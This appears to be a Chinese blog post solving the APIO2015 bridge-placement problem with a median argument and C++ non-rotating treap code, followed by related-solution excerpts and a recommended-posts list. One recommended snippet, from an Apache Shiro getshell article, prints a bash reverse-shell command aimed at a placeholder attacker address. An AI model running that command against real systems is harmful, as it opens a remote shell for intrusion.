题目链接:

[APIO2015]八邻旁之桥

对于$k=1$的情况:

对于起点和终点在同侧的直接计入答案;对于不在同侧的,可以发现答案就是所有点坐标与桥坐标的差之和+起点与终点不在同一侧的人数。

将所有点排序,要使答案最优,桥坐标就是这些点坐标的中位数,用平衡树维护一下求中位数即可。

对于$k=2$的情况:

同样先将起点和终点在同侧的直接计入答案。显然两座桥比一座更优,我们将每个人的起点与终点坐标看成一条线段。那么对于每条线段,它的中点离哪座桥近它就走哪座桥更优。我们将每条线段按中点坐标排序,将所有线段分为两部分,显然左边部分选靠左的桥、右边部分选择靠右的桥。那么只需要枚举中间的分界线,然后两部分分别按$k=1$考虑就行。维护两棵平衡树,每次将第二棵中的两个点(被划为左半部分的线段的起点和终点)删除,插入到第一棵中。

#include<set>
#include<map>
#include<queue>
#include<stack>
#include<cmath>
#include<vector>
#include<cstdio>
#include<bitset>
#include<cstring>
#include<iostream>
#include<algorithm>
#define ll long long
using namespace std;
int ls[200010];
int rs[200010];
int size[200010];
int v[200010];
ll sum[200010];
int r[200010];
int n,k;
int cnt;
int tot;
int root;
ll ans;
ll res;
int L,R;
int x,y,z;
int a[200010];
char s[2],t[2];
struct lty
{
int x,y;
}p[100010];
bool operator < (lty a,lty b){return a.x+a.y<b.x+b.y;}
int newnode(int x)
{
int rt=++cnt;
r[rt]=rand();
size[rt]=1;
v[rt]=x;
sum[rt]=x;
return rt;
}
void pushup(int rt)
{
size[rt]=size[ls[rt]]+size[rs[rt]]+1;
sum[rt]=sum[ls[rt]]+sum[rs[rt]]+v[rt];
}
int merge(int x,int y)
{
if(!x||!y)
{
return x+y;
}
if(r[x]<r[y])
{
rs[x]=merge(rs[x],y);
pushup(x);
return x;
}
else
{
ls[y]=merge(x,ls[y]);
pushup(y);
return y;
}
}
void split(int rt,int &x,int &y,int k)
{
if(!rt)
{
x=y=0;
return ;
}
if(size[ls[rt]]>=k)
{
y=rt;
split(ls[rt],x,ls[y],k);
}
else
{
x=rt;
split(rs[rt],rs[x],y,k-size[ls[rt]]-1);
}
pushup(rt);
}
void split2(int rt,int &x,int &y,int k)
{
if(!rt)
{
x=y=0;
return ;
}
if(v[rt]>=k)
{
y=rt;
split2(ls[rt],x,ls[y],k);
}
else
{
x=rt;
split2(rs[rt],rs[x],y,k);
}
pushup(rt);
}
int build(int l,int r)
{
if(l==r)
{
return newnode(a[l]);
}
int mid=(l+r)>>1;
return merge(build(l,mid),build(mid+1,r));
}
int del(int &rt,int k)
{
split2(rt,x,y,k);
split(y,y,z,1);
rt=merge(x,z);
return y;
}
void ins(int &rt,int k,int id)
{
split2(rt,x,y,k);
rt=merge(merge(x,id),y);
}
void solve1()
{
for(int i=1;i<=n;i++)
{
scanf("%s%d%s%d",s,&x,t,&y);
if(s[0]==t[0])
{
ans+=abs(y-x);
}
else
{
ans++;
a[++tot]=x;
a[++tot]=y;
}
}
if(tot==0)
{
printf("%lld",ans);
return ;
}
sort(a+1,a+1+tot);
root=build(1,tot);
int mid=(size[root]+1)/2;
split(root,x,y,mid-1);
split(y,y,z,1);
ans+=1ll*size[x]*v[y]-sum[x];
ans+=sum[z]-1ll*size[z]*v[y];
root=merge(merge(x,y),z);
printf("%lld",ans);
}
void solve2()
{
for(int i=1;i<=n;i++)
{
scanf("%s%d%s%d",s,&x,t,&y);
if(s[0]==t[0])
{
ans+=abs(x-y);
}
else
{
ans++;
tot++;
p[tot].x=x,p[tot].y=y;
a[tot*2-1]=x,a[tot*2]=y;
}
}
if(tot==0)
{
printf("%lld",ans);
return ;
}
sort(p+1,p+1+tot);
sort(a+1,a+1+tot*2);
root=build(1,tot*2);
L=0,R=root;
ll mn=1ll<<60;
for(int i=1;i<=tot;i++)
{
res=0;
int l=del(R,p[i].x);
int r=del(R,p[i].y);
ins(L,v[l],l);
ins(L,v[r],r);
int mid=(size[L]+1)/2;
split(L,x,y,mid-1);
split(y,y,z,1);
res+=1ll*size[x]*v[y]-sum[x];
res+=sum[z]-1ll*size[z]*v[y];
L=merge(merge(x,y),z);
mid=(size[R]+1)/2;
split(R,x,y,mid-1);
split(y,y,z,1);
res+=1ll*size[x]*v[y]-sum[x];
res+=sum[z]-1ll*size[z]*v[y];
R=merge(merge(x,y),z);
mn=min(mn,res);
}
ans+=mn;
printf("%lld",ans);
}
int main()
{
scanf("%d%d",&k,&n);
if(k==1)solve1();
else solve2();
}

[APIO2015]八邻旁之桥——非旋转treap的更多相关文章

  1. 洛谷 P3644 [APIO2015]八邻旁之桥 解题报告

    P3644 [APIO2015]八邻旁之桥 题目描述 一条东西走向的穆西河将巴邻旁市一分为二,分割成了区域\(A\)和区域\(B\). 每一块区域沿着河岸都建了恰好\(1000000001\)栋的建筑 ...

  2. [BZOJ4071][APIO2015]八邻旁之桥

    BZOJ(这题是BZOJ权限题,有权限号的就去看看吧) Luogu(良心洛谷) 题目描述 一条东西走向的穆西河将巴邻旁市一分为二,分割成了区域\(A\)和区域\(B\). 每一块区域沿着河岸都建了恰好 ...

  3. [APIO2015]八邻旁之桥

    题面在这里 sol 这是一个\(Splay\)的题解 首先,如果一个人的家和办公室在同一侧,我们可以直接预处理; 如果不在同一侧,也可以加上1(当然要过桥啦) 当k==1时 我们设桥的位置为\(pos ...

  4. 题解【luoguP3644 [APIO2015]八邻旁之桥】

    题目链接 题解 家和公司在同侧 简单,直接预处理掉 若 \(k=1\) 取所有的居民的\(\frac{家坐标+公司坐标}{2}\)的所有坐标的正中间建一座桥,使所有居民到的距离最小. 实现方法:线段树 ...

  5. [luoguP3644] [APIO2015]八邻旁之桥(权值线段树)

    传送门 首先如果起点终点都在同一侧可以直接处理,如果需要过桥答案再加1 对于k等于1的情况 桥的坐标为x的话,a和b为起点和终点坐标 $ans=\sum_{1}^{n} abs(a_{i}-x)+ab ...

  6. 洛谷 P3644 [APIO2015]八邻旁之桥(对顶堆维护中位数)

    题面传送门 题意: 一条河将大地分为 \(A,B\) 两个部分.两部分均可视为一根数轴. 有 \(n\) 名工人,第 \(i\) 名的家在 \(x_i\) 区域的 \(a_i\) 位置,公司在 \(y ...

  7. APIO2015 八邻旁之桥/巴邻旁之桥

    题目描述: bz luogu 题解: 贪心+权值线段树. $K=1$的时候,答案为$\sum |x-l| + |x-r|$,所以所有端点排序后取中位数即可. $K=2$的时候,一定是左边的一些走左边的 ...

  8. 【BZOJ4071】八邻旁之桥(线段树)

    [BZOJ4071]八邻旁之桥(线段树) 题面 BZOJ权限题,洛谷链接 题解 既然\(k<=2\) 那么,突破口就在这里 分类讨论 ①\(k=1\) 这...不就是中位数吗.... 直接把所有 ...

  9. 【BZOJ4071】[Apio2015]巴邻旁之桥 Treap

    [BZOJ4071][Apio2015]巴邻旁之桥 Description 一条东西走向的穆西河将巴邻旁市一分为二,分割成了区域 A 和区域 B. 每一块区域沿着河岸都建了恰好 1000000001 ...

随机推荐

  1. vue组件上动态添加和删除属性

    1.vue组件上动态添加和删除属性 // 添加 this.$set(this.obj, 'propName', val) // 删除 this.$delete(this.obj, 'propName' ...

  2. Node.js 实战(一)之—优化汇总

    Express 页面缓存 app.set("cache view",true); --设置页面缓存 开发模式下博主建议不要这么做,因为开发中我们会频繁的对页面的样式.js等进行修改 ...

  3. Python-pptx库的运用

    Win32com该库需要调用Microsoft PowerPoint,我将重新安装计算机Win 10,简单安装了pycharm的最新版本,然后发现创建的项目与之前的创建的项目结构不同.还有更多这样的事 ...

  4. 【实战】Apache shiro<=1.2.4 getshell

    方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...

  5. python小实例——tkinter实战(计算器)

    一.完美计算器实验一 import tkinter import math import tkinter.messagebox class calculator: #界面布局方法 def __init ...

  6. python selenium测试用例断言

    1.if ...else ...判断进行断言 #coding=utf-8 from time import * from selenium import webdriver "): driv ...

  7. linux网络编程之socket编程(五)

    今天继续学习socket网络编程,最近北京阴雨连绵,降温明显,感觉是要立马转入冬季的节奏,天冷晚上得注意多盖点被子哦,言归正传,进入正题: 对于之前写的回射客户/服务器端的程序中,我们是用的read和 ...

  8. bloomberg bulkfile【一】 文件的分类

    文章导航 bloomberg bulkfile [一]  文件的分类 bloomberg bulkfile [二]  文件解析 bloomberg bulkfile [三]  在oracle的存储 订 ...

  9. POI进行导出时候发现有不可读取的内容

    通过后台查询数据,然后使用poi进行导出时候,excel进行打开会出现下面的异常: 但是在WPS中就没有问题, 如果点击否,则不会显示任何内容,点击是,就会弹出来 查看修改记录为: 刚开始也进行了很多 ...

  10. comm shell command

    1.awk command 1.1 Purpose 1: want to distinct and then count and sort by num 1.1.1 Command: cat resu ...